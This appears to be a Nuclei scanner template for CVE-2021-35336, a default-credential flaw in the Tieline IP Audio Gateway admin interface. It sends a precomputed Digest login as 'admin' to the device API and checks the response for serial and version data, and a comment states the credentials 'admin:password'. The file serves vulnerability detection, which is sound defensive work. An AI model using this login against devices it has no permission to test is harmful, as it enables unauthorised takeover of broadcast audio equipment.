id: CVE-2021-35336

info:
  name: Tieline IP Audio Gateway <=2.6.4.8 - Unauthorized Remote Admin Panel Access
  author: Pratik Khalane
  severity: critical
  description: Tieline IP Audio Gateway 2.6.4.8 and below is affected by a vulnerability in the web administrative interface that could allow an unauthenticated user to access a sensitive part of the system with a high privileged account.
  impact: |
    An attacker can gain unauthorized access to the admin panel, potentially leading to unauthorized control and manipulation of the audio gateway.
  remediation: |
    Upgrade to a patched version of Tieline IP Audio Gateway that fixes the vulnerability.
  reference:
    - https://pratikkhalane91.medium.com/use-of-default-credentials-to-unauthorised-remote-access-of-internal-panel-of-tieline-c1ffe3b3757c
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35336
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35336
    cwe-id: CWE-1188
    epss-score: 0.11587
    epss-percentile: 0.95486
    cpe: cpe:2.3:h:tieline:ip_audtio_gateway:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tieline
    product: ip_audtio_gateway
  tags: cve2021,cve,tieline,default-login,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/get_device_details'

    headers:
      Authorization: 'Digest username="admin", realm="Bridge-IT", nonce="d24d09512ebc3e43c4f6faf34fdb8c76", uri="/api/get_device_details", response="d052e9299debc7bd9cb8adef0a83fed4", qop=auth, nc=00000001, cnonce="ae373d748855243d"'
      Referer: '{{BaseURL}}/assets/base/home.html'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<SERIAL>"
          - "<VERSION>"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"

      - type: status
        status:
          - 200

# admin:password
# digest: 4a0a00473045022100ff874f25f552d3b07a5964a8f4e92c651768d00a07026e9abc8947fd278640ce0220022830b8a8b475983d77b22df1440ddeb6e844f24bfeb3dd97febabf54eb02ef:922c64590222798bb761d5b6d8e72950